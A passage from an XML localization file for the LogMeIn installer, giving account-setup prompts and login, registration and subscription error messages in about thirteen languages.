Kies een computertoegangscode die moeilijk te achterhalen is en die
minstens 8 tekens lang is.\n\r\n\r
U moet deze computertoegangscode invoeren telkens
wanneer u met LogMeIn toegang wilt krijgen tot uw computer.
</nl>
<pt-br>Como o LogMeIn permite acesso ao seu computador pela Internet,
você precisará proteger esse computador com um Nome de usuário e um Código de acesso do computador.
Escolha um Código de acesso do computador difícil de adivinhar e
que tenha pelo menos 8 caracteres.\n\r\n\r
Você será solicitado a digitar esse Código de acesso do computador toda vez
que acessar seu computador com o LogMeIn.
</pt-br>
<zh>由于 LogMeIn 允许通过 Internet 来访问计算机,
因此您需要使用用户名和计算机访问代码来保护此计算机。
请选择不易猜到的计算机访问代码,并且
长度至少为 8 个字符。\n\r\n\r
每次通过 LogMeIn 访问计算机时,均会要求您输入
此计算机访问代码。
</zh>
<ru>Поскольку LogMeIn предоставляет доступ к компьютеру через Интернет,
необходимо защитить этот компьютер с помощью имени пользователя и кода доступа к компьютеру.
Выберите трудно угадываемый код доступа длиной
не менее 8 символов.\n\r\n\r
Для получения удаленного доступа к своему компьютеру с помощью LogMeIn
необходимо будет каждый раз вводить этот код доступа к компьютеру.
</ru>
<ja>LogMeIn を使用すると、インターネット経由でのコンピュータへのアクセスが可能になるため、
ユーザ名とコンピュータ アクセス コードでコンピュータを保護する必要があります。
簡単に推測されないようなコンピュータ アクセス コードを
最低 8 文字以上で選んでください。\n\r\n\r
LogMeIn を使用してコンピュータにアクセスするたびに、このコンピュータ アクセス コードを
入力する必要があります。
</ja>
<ko>LogMeIn을 사용하면 인터넷을 통해 사용자의 컴퓨터에 액세스할 수 있으므로,
사용자 이름 및 컴퓨터 액세스 코드로 컴퓨터를 보호해야 합니다.
추측하기 어려운 8자 이상의 컴퓨터 액세스 코드를
선택하십시오.\n\r\n\r
LogMeIn으로 사용자의 컴퓨터에 액세스할 때마다 해당 컴퓨터 액세스 코드를
입력해야 합니다.
</ko>
<hu>Mivel a LogMeIn az interneten keresztül teszi elérhetővé a számítógépét,
ezt a számítógépet felhasználói névvel és számítógépes hozzáférési kóddal kell védenie.
Kérem, válasszon egy nehezen kitalálható, legalább 8 karakter hosszúságú
számítógépes hozzáférési kódot.\n\r\n\r
A következőkben ezt a számítógépes hozzáférési kódot kell megadnia minden alkalommal, amikor
a LogMeIn-en keresztül lép a számítógépre.
</hu>
<en-gb>Since LogMeIn allows access to your computer over the Internet, 
you need to protect this computer with a Username and Computer Access Code. 
Please choose a Computer Access Code that would be hard to guess, and 
is at least 8 characters long.\n\r\n\r
You will be required to enter this Computer Access Code every time 
you access your computer with LogMeIn.</en-gb>
</msg>
<msg name="TOOSHORT">
<en>The Computer Access Code given is too short.</en>
<fr>Le code d'accès à l'ordinateur est trop court.</fr>
<es>El código de acceso al ordenador proporcionado es demasiado corto.</es>
<de>Der eingegebene Computer-Zugriffscode ist zu kurz.</de>
<it>Il Codice di accesso al computer fornito è troppo breve.</it>
<nl>De opgegeven computertoegangscode is te kort.</nl>
<pt-br>O Código de acesso do computador fornecido é muito pequeno.</pt-br>
<zh>给出的 Computer Access Code (计算机访问代码)过短。</zh>
<ru>Указанный код доступа к компьютеру слишком короткий.</ru>
<ja>指定されたコンピュータ アクセス コードは長さが不足しています。</ja>
<ko>지정된 컴퓨터 액세스 코드가 너무 짧습니다.</ko>
<hu>A megadott számítógépes hozzáférési kód túl rövid.</hu>
<en-gb>The Computer Access Code given is too short.</en-gb>
</msg>
</cat>
<cat name="ACCOUNTSETTINGS">
<msg name="DESCRIPTION">
<en>To install LogMeIn on this machine, please enter your LogMeIn account information</en>
<de>Geben Sie zum Installieren von LogMeIn auf diesem Computer die Angaben zu Ihrem LogMeIn-Konto ein.</de>
<es>Para instalar LogMeIn en este ordenador, introduzca la información de su cuenta LogMeIn</es>
<fr>Pour installer LogMeIn sur cette machine, entrez vos informations de compte LogMeIn.</fr>
<it>Per installare LogMeIn su questo sistema, immettere le informazioni dell'account LogMeIn.</it>
<ru>Чтобы установить LogMeIn на этом компьютере, введите информацию о своей учетной записи LogMeIn</ru>
<ja>このコンピュータに LogMeIn をインストールするには、LogMeIn アカウント情報を入力してください。</ja>
<zh>要在此计算机上安装 LogMeIn,请输入您的 LogMeIn 帐户信息</zh>
<ko>컴퓨터에 LogMeIn을 설치하려면 LogMeIn 계정 정보를 입력하십시오.</ko>
<hu>A LogMeIn telepítéséhez erre a számítógépre, kérem, adja meg a LogMeIn fiókinformációkat</hu>
<pt-br>Para instalar o LogMeIn nessa máquina, digite suas informações de conta do LogMeIn.</pt-br>
<nl>Als u LogMeIn op dit computersysteem wilt installeren, voert u de gegevens van uw LogMeIn-account in</nl>
</msg>
<msg name="EMAILTITLE">
<en>Email Address:</en>
<de>Emailadresse:</de>
<es>Dirección de correo electrónico:</es>
<fr>Adresse Email:</fr>
<it>Indirizzo e-mail:</it>
<ru>Адрес электронной почты:</ru>
<ja>電子メール アドレス:</ja>
<zh>电子邮件地址:</zh>
<ko>전자 메일 주소:</ko>
<en-gb>E-mail address:</en-gb>
<hu>E-mail cím:</hu>
<pt-br>Endereço de email:</pt-br>
<nl>E-mailadres:</nl>
</msg>
<msg name="PASSWORDTITLE">
<en>Password:</en>
<de>Kennwort:</de>
<es>Contraseña:</es>
<fr>Mot de passe :</fr>
<it>Password:</it>
<ru>Пароль:</ru>
<ja>パスワード :</ja>
<zh>密码:</zh>
<ko>암호:</ko>
<en-gb>Password:</en-gb>
<hu>Jelszó:</hu>
<pt-br>Senha:</pt-br>
<nl>Wachtwoord:</nl>
</msg>
<msg name="PANELTITLE">
<en>LogMeIn Account Details</en>
<de>Details zum LogMeIn-Konto</de>
<es>Datos de su cuenta de LogMeIn</es>
<fr>Détails du compte LogMeIn</fr>
<it>Dettagli dell'account LogMeIn</it>
<ru>Сведения об учетной записи LogMeIn</ru>
<ja>LogMeIn アカウントの詳細情報</ja>
<zh>LogMeIn 帐户详细信息</zh>
<ko>LogMeIn 계정 세부사항</ko>
<hu>A LogMeIn fiók adatai</hu>
<pt-br>Detalhes da conta do LogMeIn</pt-br>
<nl>Detailgegevens van de LogMeIn-account</nl>
</msg>
<msg name="CREATEACCOUNTDESCRIPTION">
<en>If you do not have a LogMeIn account you may create one now.</en>
<de>Wenn Sie noch kein LogMeIn-Konto haben, können Sie jetzt eines anlegen.</de>
<es>Si no tiene una cuenta de LogMeIn puede crear una ahora.</es>
<fr>Si vous n'avez pas de compte LogMeIn, vous pouvez en créer un maintenant.</fr>
<it>Se non si dispone di un account LogMeIn, è possibile crearne uno adesso.</it>
<ru>Если у вас нет учетной записи LogMeIn, можно создать ее сейчас.</ru>
<ja>まだ LogMeIn アカウントがない場合は、ここで作成できます。</ja>
<zh>如果您没有 LogMeIn 帐户,可以现在创建一个。</zh>
<ko>LogMeIn 계정이 없는 경우 지금 만들 수 있습니다.</ko>
<hu>Ha még nincs LogMeIn fiókja, most készíthet egyet.</hu>
<pt-br>Caso não possua uma conta do LogMeIn, poderá criar uma agora.</pt-br>
<nl>Als u nog geen LogMeIn-account hebt, kunt u deze nu maken.</nl>
</msg>
<msg name="CREATEACCOUNTTITLE">
<en>Create New</en>
<de>Neuen erstellen</de>
<es>Crear nueva</es>
<fr>Créer nouveau</fr>
<it>Crea nuova</it>
<ru>Создать новую</ru>
<en-gb>Create new</en-gb>
<hu>Új létrehozása</hu>
<pt-br>Criar nova</pt-br>
<nl>Nieuwe maken</nl>
<ja>新規作成</ja>
<ko>신규</ko>
<zh>创建新用户</zh>
</msg>
<msg os="macosx" name="UNKOWN_GET_LICENSE_ERROR">
<en>Error when requesting the license</en>
<de>Fehler beim Anfordern der Lizenz</de>
<es>Error al solicitar la licencia</es>
<fr>Erreur lors de la demande de licence</fr>
<it>Errore durante la richiesta della licenza</it>
<ru>Ошибка при запросе лицензии</ru>
<ja>ライセンス要求時のエラー</ja>
<zh>请求许可证时出错</zh>
<ko>라이센스를 요청할 때 오류가 발생했습니다.</ko>
<hu>Hiba a licensz lekérése során</hu>
<pt-br>Erro ao solicitar a licença</pt-br>
<nl>Fout tijdens indienen van aanvraag voor licentie</nl>
<en-gb>Error when requesting the license</en-gb>
</msg>
<msg os="macosx" name="UNKOWN_GET_LICENSE_ERROR_LONG">
<en>There was an unexpected error when requesting the license from the server</en>
<de>Beim Anfordern der Lizenz vom Server ist ein unerwarteter Fehler aufgetreten.</de>
<es>Se produjo un error inesperado cuando se solicitó la licencia desde el servidor</es>
<fr>Une erreur inattendue s'est produite lors de la demande de licence auprès du serveur.</fr>
<it>Si è verificato un errore imprevisto durante la richiesta della licenza dal server</it>
<ru>Произошла неожиданная ошибка при запросе лицензии с сервера.</ru>
<ja>サーバーからライセンスを要求する際に、予期しないエラーが発生しました</ja>
<zh>从服务器请求许可证时出现意外错误</zh>
<ko>서버에서 라이센스를 요청할 때 알 수 없는 오류가 발생했습니다.</ko>
<hu>Váratlan hiba történt a licensznek a kiszolgálótól való lekérése során</hu>
<pt-br>Ocorreu um erro inesperado ao solicitar a licença do servidor</pt-br>
<nl>Er is een fout opgetreden tijdens het indienen van de aanvraag voor een licentie bij de server</nl>
<en-gb>There was an unexpected error when requesting the license from the server</en-gb>
</msg>
<msg os="macosx" name="REG_ERROR_UNKNOWN">
<en>An unknown error has occurred while registering with LogMeIn.com.</en>
<de>Während der Registrierung bei LogMeIn.com ist ein unbekannter Fehler aufgetreten.</de>
<es>Se ha producido un error desconocido al registrarse en LogMeIn.com.</es>
<fr>Une erreur inconnue est survenue lors de l'inscription sur LogMeIn.com.</fr>
<it>Durante la registrazione a LogMeIn.com si è verificato un errore sconosciuto.</it>
<nl>Tijdens het registreren bij LogMeIn.com is een onbekende fout opgetreden.</nl>
<pt-br>Ocorreu um erro desconhecido durante o registro no LogMeIn.com.</pt-br>
<hu>A LogMeIn.com regisztrációja közben ismeretlen hiba történt.</hu>
<ru>При регистрации на веб-сайте LogMeIn.com произошла неизвестная ошибка.</ru>
<ja>LogMeIn.com への登録中に不明なエラーが発生しました。</ja>
<ko>LogMeIn.com에 등록하는 동안 알 수 없는 오류가 발생했습니다.</ko>
<zh>通过 LogMeIn.com 注册时发生未知错误。</zh>
</msg>
<msg os="macosx" name="ERROR_23">
<en>This computer has been used before with a trial of LogMeIn Pro which has expired. This time, you will be able to use the remote control features of LogMeIn Free only.</en>
<de>Die Testversion wurde auf diesem Computer bereits verwendet.</de>
<es>Este ordenador ya ha utilizado su período de prueba.</es>
<fr>Cet ordinateur a déjà utilisé sa version d'essai.</fr>
<it>Questo computer ha già esaurito il suo periodo di prova.</it>
<ru>Для данного компьютера ознакомительная версия уже использована.</ru>
<ja>このコンピュータではこれ以上は試用版を利用できません。</ja>
<zh>此计算机已经用完其试用次数。</zh>
<ko>이 컴퓨터에서 이미 평가 버전을 사용했습니다.</ko>
<hu>Ez a számítógép már a próbaverzióhoz van használatban.</hu>
<pt-br>Este computador já usou todo o tempo de avaliação.</pt-br>
<nl>Op deze computer is de proefperiode reeds verstreken.</nl>
<en-gb>This computer has been used before with a trial of LogMeIn Pro which has expired. This time, you will be able to use the remote control features of LogMeIn Free only.</en-gb>
</msg>
<msg os="macosx" name="ERROR_31">
<en>Could not attach this computer to your LogMeIn account.</en>
<de>Dieser Computer konnte nicht mit Ihrem LogMeIn-Konto verknüpft werden.</de>
<es>No se pudo vincular este ordenador a su cuenta de LogMeIn.</es>
<fr>Impossible d’associer cet ordinateur à votre compte LogMeIn.</fr>
<it>Impossibile associare questo computer all'account LogMeIn.</it>
<ru>Не удалось присоединить этот компьютер к вашей учетной записи LogMeIn.</ru>
<ja>現在使用している LogMeIn アカウントにこのコンピュータを追加できません。</ja>
<zh>无法将此计算机连接到您的 LogMeIn 帐户。</zh>
<ko>LogMeIn 계정에 이 컴퓨터를 추가할 수 없습니다.</ko>
<hu>A számítógépet nem sikerült hozzárendelni az Ön LogMeIn fiókjához.</hu>
<pt-br>Não foi possível conectar este computador à sua conta do LogMeIn.</pt-br>
<nl>Kon deze computer niet aan uw LogMeIn-account koppelen.</nl>
<en-gb>Could not attach this computer to your LogMeIn account.</en-gb>
</msg>
<msg os="macosx" name="ERROR_58">
<en>LogMeIn cannot be installed.\nPlease contact the person who sent you the LogMeIn installation link.</en>
<de>LogMeIn kann nicht installiert werden.\nBitte kontaktieren Sie die Person, von der Sie den LogMeIn-Installationslink erhalten haben.</de>
<es>No se puede instalar LogMeIn.\nPóngase en contacto con la persona que le ha enviado el vínculo de instalación de LogMeIn.</es>
<fr>Impossible d'installer LogMeIn. \nContactez la personne qui vous a envoyé le lien d'installation de LogMeIn.</fr>
<it>Impossibile installare LogMeIn.\nContattare la persona che ha inviato il collegamento per l’installazione di LogMeIn.</it>
<ru>LogMeIn невозможно установить.\nСвяжитесь с отправителем ссылки для установки LogMeIn.</ru>
<ja>RES_JAPANESE+58  LogMeIn をインストールできません。\nこの問題については、LogMeIn インストール リンクの送信者に問い合わせてください。</ja>
<zh>LogMeIn 无法安装。\n请联系将此 LogMeIn 安装链接发送给您的人员。</zh>
<ko>LogMeIn을 설치할 수 없습니다.\nLogMeIn 설치 링크를 보낸 사용자에게 연락하십시오.	</ko>
<hu>A LogMeIn szoftvert nem lehet telepíteni. \nKérjük, vegye fel a kapcsolatot a LogMeIn telepítési hivatkozás küldőjével.</hu>
<pt-br>Não é possível instalar o LogMeIn.\nEntre em contato com a pessoa que enviou o link de instalação do LogMeIn para você.</pt-br>
<nl>LogMeIn kan niet worden geïnstalleerd.\nNeem contact op met degene van wie u de installatiekoppeling voor LogMeIn hebt ontvangen.</nl>
<en-gb>LogMeIn cannot be installed.\nPlease contact the person who sent you the LogMeIn installation link.</en-gb>
</msg>
<msg os="macosx" name="0">
<en>LogMeIn Installation</en>
<de>LogMeIn-Installation</de>
<es>Instalación de LogMeIn</es>
<fr>Installation de LogMeIn</fr>
<it>Installazione di LogMeIn</it>
<ru>Установка LogMeIn</ru>
<ja>LogMeIn インストール</ja>
<zh>LogMeIn 安装</zh>
<ko>LogMeIn 설치</ko>
<en-gb>LogMeIn Installation</en-gb>
<hu>A LogMeIn telepítése</hu>
<pt-br>Instalação do LogMeIn</pt-br>
<nl>LogMeIn-installatie</nl>
</msg>
<msg os="macosx" name="1">
<en>User not logged in.</en>
<de>Der Benutzer ist nicht angemeldet.</de>
<es>El usuario no ha iniciado la sesión.</es>
<fr>Utilisateur non connecté.</fr>
<it>Utente non connesso.</it>
<ru>Не выполнен вход в систему.</ru>
<ja>ログインしていません。</ja>
<zh>用户未登录。</zh>
<ko>사용자가 로그인되지 않았습니다.</ko>
<en-gb>User not logged in.</en-gb>
<hu>Ez a felhasználó nincs bejelentkezve</hu>
<pt-br>Usuário não conectado.</pt-br>
<nl>Gebruiker niet aangemeld.</nl>
</msg>
<msg os="macosx" name="2">
<en>The email address or password you entered is incorrect. Please check and try again.</en>
<de>Die eingegebene E-Mail-Adresse oder das eingegebene Passwort ist falsch. Bitte überprüfen Sie Ihre Eingabe und versuchen Sie es erneut.</de>
<es>La dirección de e-mail o la contraseña que ha introducido es incorrecta. Por favor, compruébelo e inténtelo de nuevo.</es>
<fr>L'adresse email ou le mot de passe que vous avez saisi est incorrect. Réessayez.</fr>
<it>L'indirizzo e-mail o la password immessa non è corretta. Effettuare un controllo e riprovare.</it>
<ru>Вы ввели неверный адрес электронной почты или пароль. Проверьте их и повторите попытку.</ru>
<ja>入力されたメール アドレスまたはパスワードが正しくありません。 確認の上、やり直してください。</ja>
<zh>您输入的电子邮件地址或密码不正确。 请检查并重试。</zh>
<ko>입력한 전자 메일 주소 또는 암호가 잘못되었습니다. 확인 후 다시 시도하십시오.</ko>
<en-gb>The email address or password you entered is incorrect. Please check and try again.</en-gb>
<hu>A megadott e-mail cím vagy jelszó hibás. Kérjük, ellenőrizze, és próbálja meg újra.</hu>
<pt-br>O endereço de email ou a senha fornecidos estão incorretos. Verifique-os e tente novamente.</pt-br>
<nl>Het e-mailadres of wachtwoord dat u hebt ingevoerd is niet juist. Controleer dit en probeer het nogmaals.</nl>
</msg>
<msg os="macosx" name="3">
<en>Password does not match.</en>
<de>Das Passwort stimmt nicht.</de>
<es>La contraseña no coincide.</es>
<fr>Mot de passe non valable.</fr>
<it>La password non coincide.</it>
<ru>Пароль не совпадает.</ru>
<ja>パスワードが一致しません。</ja>
<zh>密码不匹配。</zh>
<ko>암호가 일치하지 않습니다.</ko>
<en-gb>Password does not match.</en-gb>
<hu>Hibás a jelszó.</hu>
<pt-br>A senha não corresponde.</pt-br>
<nl>Het wachtwoord komt niet overeen.</nl>
</msg>
<msg os="macosx" name="4">
<en>Email address already exists.</en>
<de>Die E-Mail-Adresse existiert bereits.</de>
<es>La dirección de e-mail ya existe.</es>
<fr>Cette adresse  email existe déjà.</fr>
<it>L'indirizzo e-mail esiste già.</it>
<ru>Адрес электронной почты уже существует.</ru>
<ja>メール アドレスが既に存在します。</ja>
<zh>电子邮件地址已存在。</zh>
<ko>해당 전자 메일이 이미 있습니다.</ko>
<en-gb>Email address already exists.</en-gb>
<hu>Már létezik ez az e-mail cím.</hu>
<pt-br>O endereço de email já existe.</pt-br>
<nl>Het e-mailadres bestaat al.</nl>
</msg>
<msg os="macosx" name="5">
<en>Database reported an error.</en>
<de>Die Datenbank hat einen Fehler gemeldet.</de>
<es>La base de datos ha informado de un error.</es>
<fr>Erreur signalée par la base de données.</fr>
<it>Il database ha segnalato un errore.</it>
<ru>База данных сообщила об ошибке.</ru>
<ja>データベースでエラーが発生しました。</ja>
<zh>数据库报告出错。</zh>
<ko>데이터베이스가 오류를 작성합니다.</ko>
<en-gb>Database reported an error.</en-gb>
<hu>Az adatbázis hibaüzenetet küldött.</hu>
<pt-br>O banco de dados relatou um erro.</pt-br>
<nl>De database heeft een fout gemeld.</nl>
</msg>
<msg os="macosx" name="6">
<en>Parameter missing.</en>
<de>Fehlender Parameter.</de>
<es>Falta un parámetro.</es>
<fr>Paramètre manquant.</fr>
<it>Parametro mancante.</it>
<ru>Отсутствует параметр.</ru>
<ja>パラメータが見つかりません。</ja>
<zh>参数丢失。</zh>
<ko>매개변수가 누락되었습니다.</ko>
<en-gb>Parameter missing.</en-gb>
<hu>Hiányzó paraméter.</hu>
<pt-br>Parâmetro ausente.</pt-br>
<nl>Ontbrekende parameter.</nl>
</msg>
<msg os="macosx" name="7">
<en>User has no security code.</en>
<de>Der Benutzer besitzt keinen Sicherheitscode.</de>
<es>El usuario no tiene ningún código de seguridad.</es>
<fr>L’utilisateur n’a pas de code de sécurité.</fr>
<it>L'utente non dispone di alcun codice di sicurezza.</it>
<ru>Не указан защитный код для пользователя.</ru>
<ja>セキュリティ コードがありません。</ja>
<zh>用户没有安全代码。</zh>
<ko>사용자가 보안 코드를 가지고 있지 않습니다.</ko>
<en-gb>User has no security code.</en-gb>
<hu>Ehhez a felhasználóhoz nem tartozik biztonsági kód.</hu>
<pt-br>O usuário não possui código de segurança.</pt-br>
<nl>Gebruiker heeft geen beveiligingscode.</nl>
</msg>
<msg os="macosx" name="8">
<en>Activation code does not match.</en>
<de>Der Aktivierungscode stimmt nicht.</de>
<es>El código de activación no coincide.</es>
<fr>Le code d'activation ne correspond pas.</fr>
<it>Il codice di attivazione non corrisponde.</it>
<ru>Код активации не совпадает.</ru>
<ja>有効化コードが一致しません。</ja>
<zh>激活代码不匹配。</zh>
<ko>활성화 코드가 일치하지 않습니다.</ko>
<en-gb>Activation code does not match.</en-gb>
<hu>Hibás az aktiváló kód.</hu>
<pt-br>O código de ativação não corresponde.</pt-br>
<nl>Activeringscode komt niet overeen.</nl>
</msg>
<msg os="macosx" name="10">
<en>Account is closed or banned.</en>
<de>Das Konto wurde geschlossen oder gesperrt.</de>
<es>La cuenta está cerrada o vetada.</es>
<fr>Compte fermé ou interdit.</fr>
<it>L'account è stato chiuso o escluso.</it>
<ru>Учетная запись закрыта или запрещена.</ru>
<ja>アカウントがクローズまたは禁止されています。</ja>
<zh>帐户被关闭或禁止。</zh>
<ko>계정이 닫혔거나 금지되었습니다.</ko>
<en-gb>Account is closed or banned.</en-gb>
<hu>Ez a felhasználói fiók le van zárva, vagy tiltva van.</hu>
<pt-br>A conta está fechada ou interditada.</pt-br>
<nl>Account is gesloten of afgewezen.</nl>
</msg>
<msg os="macosx" name="11">
<en>This account has not been activated or is locked. For more help, please visit the support section at LogMeIn.com.</en>
<de>Dieses Konto wurde nicht aktiviert oder ist gesperrt. Bitte wenden Sie sich an den Support von LogMeIn.com, um Hilfe zu erhalten.</de>
<es>Esta cuenta no ha sido activada o está bloqueada. Si necesita más ayuda, visite la sección de asistencia técnica en LogMeIn.com.</es>
<fr>Ce compte n'a pas été activé ou est verrouillé. Pour plus de détails, consultez la section d'assistance sur LogMeIn.com.</fr>
<it>Questo account non è stato attivato o è bloccato. Per ulteriori informazioni, visitare la sezione del supporto tecnico nel sito LogMeIn.com.</it>
<ru>Учетная запись не активирована или заблокирована. Для получения дополнительной справки посетите раздел поддержки на веб-сайте LogMeIn.com.</ru>
<ja>このアカウントは有効化されていないか、またはロックされています。 詳細については、LogMeIn.com のサポート セクションを参照してください。</ja>
<zh>此帐户尚未激活或被锁定。 如需更多帮助,请访问 LogMeIn.com 上的支持部分。</zh>
<ko>이 계정은 활성화되지 않았거나 잠겨져 있습니다. 더 자세한 도움말은 LogMeIn.com의 지원 섹션을 방문하십시오.</ko>
<en-gb>This account has not been activated or is locked. For more help, please visit the support section at LogMeIn.com.</en-gb>
<hu>Ez a felhasználói fiók még nincs aktiválva vagy zárolva van. További segítség a LogMeIn.com terméktámogatási részében.</hu>
<pt-br>Esta conta não foi ativada ou está bloqueada. Para obter mais ajuda, visite a seção d suporte no LogMeIn.com.</pt-br>
<nl>Dit account is niet geactiveerd of het is geblokkeerd. Voor meer informatie gaat u naar de sectie Support op LogMeIn.com.</nl>
</msg>
<msg os="macosx" name="23">
<en>This computer has already used up its trial.</en>
<de>Die Testversion wurde auf diesem Computer bereits verwendet.</de>
<es>Este ordenador ya ha utilizado su período de prueba.</es>
<fr>Cet ordinateur a déjà utilisé sa version d'essai.</fr>
<it>Questo computer ha già esaurito il suo periodo di prova.</it>
<ru>Для данного компьютера ознакомительная версия уже использована.</ru>
<ja>このコンピュータではこれ以上は試用版を利用できません。</ja>
<zh>此计算机已经用完其试用次数。</zh>
<ko>이 컴퓨터에서 이미 평가 버전을 사용했습니다.</ko>
<en-gb>This computer has already used up its trial.</en-gb>
<hu>Ez a számítógép már a próbaverzióhoz van használatban.</hu>
<pt-br>Este computador já usou todo o tempo de avaliação.</pt-br>
<nl>Op deze computer is de proefperiode reeds verstreken.</nl>
</msg>
<msg os="macosx" name="24">
<en>This LogMeIn account is for a secondary user. Please enter the LogMeIn account details for the main user or create a new account.</en>
<de>Dieses LogMeIn-Konto gilt für einen Sekundärbenutzer. Bitte geben Sie die LogMeIn-Kontodaten für den Hauptbenutzer ein oder legen Sie ein neues Konto an.</de>
<es>Esta cuenta de LogMeIn es para un usuario secundario. Introduzca los detalles de la cuenta de LogMeIn para el usuario principal o cree una cuenta nueva.</es>
<fr>Ce compte LogMeIn est un compte utilisateur secondaire. Entrez les détails du compte LogMeIn pour l'utilisateur principal ou créez un nouveau compte.</fr>
<it>Questo account LogMeIn è per un utente secondario. Inserire i dati dell'account LogMeIn associati all'utente principale o creare un nuovo account.</it>
<ru>Данная учетная запись LogMeIn предназначена для вторичного пользователя. Укажите учетные данные LogMeIn для главного пользователя или создайте новую учетную запись.</ru>
<ja>この LogMeIn アカウントは副ユーザー用です。 メイン ユーザー用の LogMeIn アカウントの詳細を入力するか、新しいアカウントを作成してください。</ja>
<zh>此 LogMeIn 帐户用于次要用户。 请为主要用户输入 LogMeIn 帐户详细信息或创建一个新帐户。</zh>
<ko>보조 사용자용 LogMeIn 계정입니다. 주 사용자의 LogMeIn 계정에 대한 세부 사항을 입력하거나 새 계정을 만드십시오.</ko>
<en-gb>This LogMeIn account is for a secondary user. Please enter the LogMeIn account details for the main user or create a new account.</en-gb>
<hu>Ez egy másodfelhasználói LogMeIn fiók. Kérjük, adja meg az elsődleges felhasználó LogMeIn fiókjának adatait vagy hozzon létre egy új felhasználói fiókot.</hu>
<pt-br>Esta conta do LogMeIn é do usuário secundário. Forneça os detalhes da conta do LogMeIn do usuário principal ou crie uma nova conta.</pt-br>
<nl>Dit LogMeIn-account is bestemd voor een secundaire gebruiker. Voer de LogMeIn-accountgegevens van de hoofdgebruiker in of maak een nieuw account aan.</nl>
</msg>
<msg os="macosx" name="30">
<en>No available subcription of this type.</en>
<de>Zu diesem Typ steht kein Abo zur Verfügung.</de>
<es>No hay suscripciones disponibles de este tipo.</es>
<fr>Aucun abonnement de ce type disponible.</fr>
<it>Nessuna sottoscrizione di questo tipo disponibile.</it>
<ru>Нет доступной подписки данного типа.</ru>
<ja>この種類のサブスクリプションで利用可能なものがありません。</ja>
<zh>没有可用的此类订阅。</zh>
<ko>이 유형의 가입은 사용 가능하지 않습니다.</ko>
<en-gb>No available subcription of this type.</en-gb>
<hu>Jelenleg nincs ilyen típusú előfizetés.</hu>
<pt-br>Não há assinatura deste tipo disponível.</pt-br>
<nl>Geen abonnement beschikbaar voor dit type.</nl>
</msg>
<msg os="macosx" name="31">
<en>Could not attach this computer to your LogMeIn account.</en>
<de>Dieser Computer konnte nicht mit Ihrem LogMeIn-Konto verknüpft werden.</de>
<es>No se pudo vincular este ordenador a su cuenta de LogMeIn.</es>
<fr>Impossible d’associer cet ordinateur à votre compte LogMeIn.</fr>
<it>Impossibile associare questo computer all'account LogMeIn.</it>
<ru>Не удалось присоединить этот компьютер к вашей учетной записи LogMeIn.</ru>
<ja>現在使用している LogMeIn アカウントにこのコンピュータを追加できません。</ja>
<zh>无法将此计算机连接到您的 LogMeIn 帐户。</zh>
<ko>LogMeIn 계정에 이 컴퓨터를 추가할 수 없습니다.</ko>
<en-gb>Could not attach this computer to your LogMeIn account.</en-gb>
<hu>A számítógépet nem sikerült hozzárendelni az Ön LogMeIn fiókjához.</hu>
<pt-br>Não foi possível conectar este computador à sua conta do LogMeIn.</pt-br>
<nl>Kon deze computer niet aan uw LogMeIn-account koppelen.</nl>
</msg>
<msg os="macosx" name="32">
<en>LogMeIn Pro is not available for this LogMeIn account. You may purchase a subscription of LogMeIn Pro for this PC or choose the free LogMeIn version. Click Yes to purchase LogMeIn Pro, or No to use LogMeIn Free.</en>
<de>LogMeIn Pro ist für dieses LogMeIn-Konto nicht verfügbar. Sie können ein LogMeIn-Pro-Abo für diesen PC erwerben oder die kostenlose LogMeIn-Version nutzen. Klicken Sie auf „Ja“, um LogMeIn Pro zu kaufen, oder „Nein“, um LogMeIn Free zu verwenden.</de>
<es>LogMeIn Pro no está disponible para esta cuenta LogMeIn. Puede comprar una suscripción de LogMeIn Pro para este ordenador o elegir la versión gratuita LogMeIn. Pulse Sí para comprar LogMeIn Pro, o No para utilizar LogMeIn Free.</es>
<fr>LogMeIn Pro n'est pas disponible pour ce compte LogMeIn. Vous pouvez souscrire un abonnement LogMeIn Pro pour ce PC ou choisir la version gratuite de LogMeIn. Cliquez sur Oui pour acheter LogMeIn Pro ou sur Non pour utiliser LogMeIn Free.</fr>
<it>LogMeIn Pro non è disponibile per questo account LogMeIn. È possibile acquistare un abbonamento di LogMeIn Pro per questo PC o scegliere la versione gratuita di LogMeIn. Fare clic su Sì per acquistare LogMeIn Pro oppure su No per utilizzare LogMeIn Free.</it>
<ru>Программа LogMeIn Pro недоступна для данной учетной записи LogMeIn. Вы можете приобрести подписку на LogMeIn Pro для данного ПК или использовать бесплатную версию LogMeIn. Нажмите «Да» для приобретения LogMeIn Pro или «Нет» для использования LogMeIn Free.</ru>
<ja>この LogMeIn アカウントでは LogMeIn Pro を使用できません。 この PC 用に LogMeIn Pro のサブスクリプションを購入するか、または無償版の LogMeIn Free を選択できます。 LogMeIn Pro を購入するには [はい] を、LogMeIn Free を使用するには [いいえ] をクリックしてください。</ja>
<zh>LogMeIn Pro 不适用于此 LogMeIn 帐户。 您可能要购买针对此 PC 的 LogMeIn Pro 订阅或选择免费的 LogMeIn 版本。 单击“是”以购买 LogMeIn Pro,或单击“否”以使用 LogMeIn Free。</zh>
<ko>LogMeIn Pro에서 LogMeIn 계정을 사용할 수 없습니다. PC용 LogMeIn Pro의 가입을 구입하거나 무료 LogMeIn 버전을 선택할 수 있습니다. LogMeIn Pro를 구입하려면 예를 클릭하고 LogMeIn Free를 사용하려면 아니오를 클릭하십시오.</ko>
<en-gb>LogMeIn Pro is not available for this LogMeIn account. You may purchase a subscription of LogMeIn Pro for this PC or choose the free LogMeIn version. Click Yes to purchase LogMeIn Pro, or No to use LogMeIn Free.</en-gb>
<hu>A LogMeIn Pro nem érhető el ehhez a LogMeIn felhasználói fiókhoz. Vásároljon LogMeIn Pro előfizetést ehhez a számítógéphez vagy válassza a LogMeIn ingyenes verzióját. Az Igen gombra kattintva megvásárolhatja a LogMeIn Pro előfizetést, a Nem gombbal pedig a LogMeIn Free mellett dönthet.</hu>
<pt-br>O LogMeIn Pro não está disponível para esta conta do LogMeIn. Você pode adquirir uma assinatura do LogMeIn Pro para este PC ou escolher a versão gratuita do LogMeIn. Para adquirir o LogMeIn Pro, clique em Sim. Para não usar o LogMeIn Free, clique em Não.</pt-br>
<nl>LogMeIn Pro is niet beschikbaar voor dit LogMeIn-account. U kunt een abonnement op LogMeIn Pro voor deze pc aanschaffen of ervoor kiezen om de gratis LogMeIn-versie te gebruiken. Klik op Ja om LogMeIn Pro aan te schaffen of op Nee om LogMeIn Free te gebruiken.</nl>
</msg>
<msg os="macosx" name="33">
